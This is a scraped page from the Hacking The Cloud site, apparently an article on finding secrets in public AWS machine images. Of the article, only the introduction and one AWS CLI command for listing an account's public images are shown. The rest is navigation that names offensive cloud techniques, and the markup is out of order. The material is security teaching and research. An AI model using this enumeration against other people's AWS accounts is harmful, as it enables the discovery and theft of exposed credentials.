class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#finding-exposed-amis class=md-nav__link> <span class=md-ellipsis> Finding Exposed AMIs </span> </a> </li> <li class=md-nav__item> <a href=#using-public-amis-and-scanning-for-credentials class=md-nav__link> <span class=md-ellipsis> Using Public AMIs and Scanning for Credentials </span> </a> <nav class=md-nav aria-label="Using Public AMIs and Scanning for Credentials"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#launching-an-instance-from-a-public-ami class=md-nav__link> <span class=md-ellipsis> Launching an Instance from a Public AMI </span> </a> </li> <li class=md-nav__item> <a href=#manually-scanning-for-credentials class=md-nav__link> <span class=md-ellipsis> Manually Scanning for Credentials </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#automating-the-process class=md-nav__link> <span class=md-ellipsis> Automating the Process </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Eduard Schwarzkopf</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/discover_secrets_in_public_aims.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Discover secrets in public AMIs</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://securitycafe.ro/2024/05/08/aws-cloudquarry-digging-for-secrets-in-public-amis/ >AWS CloudQuarry: Digging for Secrets in Public AMIs</a> by <a href=https://www.linkedin.com/in/eduard-k-agavriloae/ >Eduard Agavriloae</a> and <a href=https://www.linkedin.com/in/matei-anthony-josephs-325ba5199/ >Matei Josephs</a>.</p> </li> </ul> </div> <p>For EC2 instances, Amazon Machine Images (AMIs) are crucial as they contain the essential information required to launch instances, including the operating system, configuration files, software, and relevant data. A significant security consideration of these AMIs is that they can be (either accidentally or intentionally) made public, thus accessible for anyone to utilize and potentially exploit.</p> <h2 id=finding-exposed-amis>Finding Exposed AMIs<a class=headerlink href=#finding-exposed-amis title="Permanent link">&para;</a></h2> <p>Many instances of resource exposure (and subsequent exploitation) in AWS necessitate knowing the AMI ID. This offers some level of security-by-obscurity as an attacker needs the AMI ID to exploit the resource.</p> <p>However, if AMIs are marked public, the list of available public AMIs is accessible through the AWS API. If you know the account ID, you can easily run through all regions to see if any public AMIs are available:</p> <div class=highlight><pre><span></span><code>aws<span class=w> </span>ec2<span class=w> </span>describe-images<span class=w> </span>--owners<span class=w> </span>&lt;account_id&gt;<span class=w> </span>--include-deprecated<span class=w> </span>--region<span class=w> </span>&lt;region&gt;
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#finding-exposed-amis class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Discover secrets in public AMIs </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Discover secrets in public AMIs </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#finding-exposed-amis class=md-nav__link> <span class=md-ellipsis> Finding Exposed AMIs </span> </a> </li> <li class=md-nav__item> <a href=#using-public-amis-and-scanning-for-credentials class=md-nav__link> <span class=md-ellipsis> Using Public AMIs and Scanning for Credentials </span> </a> <nav class=md-nav aria-label="Using Public AMIs and Scanning for Credentials"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#launching-an-instance-from-a-public-ami class=md-nav__link> <span class=md-ellipsis> Launching an Instance from a Public AMI </span> </a> </li> <li class=md-nav__item> <a href=#manually-scanning-for-credentials class=md-nav__link> <span class=md-ellipsis> Manually Scanning for Credentials </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#automating-the-process class=md-nav__link> <span class=md-ellipsis> Automating the Process </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass 